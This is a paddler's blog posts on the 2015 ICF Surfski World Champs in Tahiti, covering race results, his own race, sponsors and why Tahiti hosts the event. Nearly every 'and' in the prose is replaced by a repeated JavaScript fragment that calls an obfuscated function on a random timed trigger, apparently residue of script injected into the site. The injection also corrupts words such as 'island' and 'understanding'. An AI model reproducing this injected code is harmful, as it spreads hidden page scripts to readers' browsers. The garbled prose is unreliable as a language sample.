    In the front of the race there Sean Rice had really gone out hard andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and lead with 10km to go. In his own worlds “I lost concentration for a couple minutes, lost some time that I just couldn’t get back”. Corry Hill took charge andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and hard a stormer last couple km into the final reef. The race is never over andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and with a 3km flat second into the finish andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the world’s best chasing. The final stretch into the finish would be a lot of pain. Just like Molokai, Corry showed his diverse talents, not just in catching runs but is physical power holding of a charge from Clint Robinson to take a deserving World Title.

    The evergreen Clint took second. A show that age is a just number. This was quite show from an athlete in his 40’s racing guys 20 years his junior. Jasper Mocke rounded out the podium for the SA team, a great result for the world traveler.

    Looking back at my 10 years of racing international surfski events I have never seen a field this strong. Its great that the whole surfski community came out firing for worlds andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it shows in the depth of the results. Its also really positive to see younger guys getting in the mix on the top 10 on the worlds premier surfski event, promising a bright future for the sport.

    My final km’s were super hard with a couple of paddlers converging on the final reef so close to each other. I put me ears back andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and went away from Mark Andersons andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Joey Hall, while gained some big ground on Kenny Rice andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Sam Norton in front. I got up to 20m behind them by the line, but a little to late to catch them. This section of flat would normally be a worry which I played through my mind a number of times, imagining tying to just hold on. The body came through though, surprising even myself on the ability to catch time on the flat.

    I wrote in a previous blog on how I really wanted to get racing right on this trip after not being where I wanted to be last year on a trip to Maraamu. I certainly got a lot right this year from training leading into the trip, too fine tuning diet andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and race nutrition (with the help of GU), avoiding the cramping nightmares I was fearing.

    My goal for the event was top 10, which I missed by the closest of margins coming home 12th. It is to soon after the event to tell weather I am really happy with that. I do know, that was the best I have paddled in over a year. I laid down everything I have in the tank andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I guess I am sort of proud of leaving it all on the water. No mistakes, no excuses andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and an overall solid paddle all round. I have leant from my mistakes andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and am still growing as a paddler.

    t7

    I have to thank a lot of people who helped me get to a place where I could lay down my best effort at worlds as this trip was a big financial andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and time commitment. Getting boats to Tahiti is an absolute mission so firstly a big thanks to Fenn Kayaks for the awesome Glide at the race.

    Varsity College andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Jeep Team South Africa are both long-standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding sponsors of mine andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and without them, my paddling wouldn’t be possible at the level I am able to race at. Both sponsors have become family with real understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding of what it takes to make paddling a reality for me.

    Lastly to the people from around the world, who read this blog, sent messages andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and have my back every day at home. I am blessed with a large community of great people in my life to share these journeys with. Thank you all.

    t1

    As I climb on a plane to head homeward my heart warm to the memories made this year on the islandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and. The Tahitian people are amazing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and connecting with passionate surfski paddlers from all over the world is always special.

    t6

    In a time, which is so important for the growth of our sport, to have a second world champs has gone a long way in uniting the paddling community. We have 2 new world champions andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a great downwind race that was watched on a live stream all over the world. Lets hope this inspires more people to get out to the World Champs in the future.

    The sport is in such a good place with talks of the next world champs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and its bright future with the ICF. I look forward to being involved in the next couple years as the sport evolves.

    Weather many paddlers will go back to Tahiti for another race on the main landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and would be in question after the experience this year. The lack of any organization from the Tahitian Federation was a big challenge for all the athletes at the event with no communication or set itinerary. Sadly this may detract from the experience off the water form many who will not be back. I will certainly be back to Tahiti for many years to come as I have so many friends on the islandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and connected so well with the place. I will have to just pick wisely on which events to attend in years to come.

    Maururu (thanks you) to all the Tahitian people who made my stay such an amazing experience this year.

    t5

    Where? andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Why Tahiti?

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    My previous visits andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and experience of this majestic place in recent years have led me to develop a soft spot andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a connection of sorts, for the venue of the ICF Surfski World Champs 2015. Check out my last blog on my path to Tahiti Here

    The biggest most prominent questions I have gotten been asked from people over the last couple of weeks’ leading into up to the event has been: is “Where is Tahiti?” andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and another popular one (justifiably so): “Why are surfski world champs being held here?”.

    So here is a little info on Tahiti andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the French Polynesian Islandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands.

    French Polynesia is a group of islandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands in the Pacific Ocean. Draw back on your memories of school days andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the classic globe (which still had a use before Google Maps ), Tahiti is on the other end of the globe andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and exactly 12 hours behind South African local time. French Polynesia is made up of 6 or so bigger well known Islandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands, with there being 118 Islandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands in total. Tahiti is the economic steam train of French Polynesia, with the highest population in comparison to the other islandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and forms part of the Society Islandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands, of which Papeete is the capital.

    It certainly is the most beautiful place I have been to. Do yourself a favor andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Google Tahiti (I’ll be sure to post plenty of pics as well) andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it is a feast for the eyes, images of rustic wooden accommodation, hanging over crystal clear water, you’ll be packing your bags andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and booking a ticket (well, at least 3 if you’re flying from SA) in no time.

    After having a bit of time to digest all of the above, you can only imagine the planning andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the time that goes into getting to Tahiti. The flying time to Tahiti is quite crazy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it takes a couple days before your feet touch Tahiti soil. Now you can only imagine the logistics of getting surfski’s around the world for the race, no small feat.

    Why Tahiti?

    There are a number of factors that contribute to a successful andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and enjoyable event andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and even more that go into hosting an ICF World Champs. The requirements would be a good downwind course, sponsors, support, funding andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the manpower to administer the whole affair.

    The big factor people won’t understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and until they have been to the islandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and this is the one I want to talk about as to why Tahiti is the Worlds venue. The Tahitian lifestyle is centralized around the ocean with kids learning to dive, fish, surf, paddle OC1 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Surfski’s in conjunction with learning how to walk. The ocean forms a part of their every day lives to such an extent that some of the Tahitian history, culture andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and legacy is founded on the association andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and importance of the ocean.

    It is this cultural charm andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Tahiti’s all round majestic beauty that etches such an impression on every visitor, all of which will be on display for the world to absorb at Surfski’s biggest stage. I cant wait for the rest of the world can see what blew me away 10 years ago on my first trip to the islandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands.

    With growing up in the water, the Tahitians have evolved into skilled waterman. Their performance in Worlds is certainly going be something to keep an eye on. I was so blown away last year by the skill levels of the paddlers on the islandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I had to document it andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and made a video on one of my paddles with the local club, which you can find here.

    Paddling is a way of life for the Tahitian people andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I couldn’t think of a more fitting place to have Worlds, right in the home of a place where the ocean andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and paddling are entrenched in the culture of the people. I look forward to connecting with this phenomenal culture andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the even more phenomenal Tahitian people.

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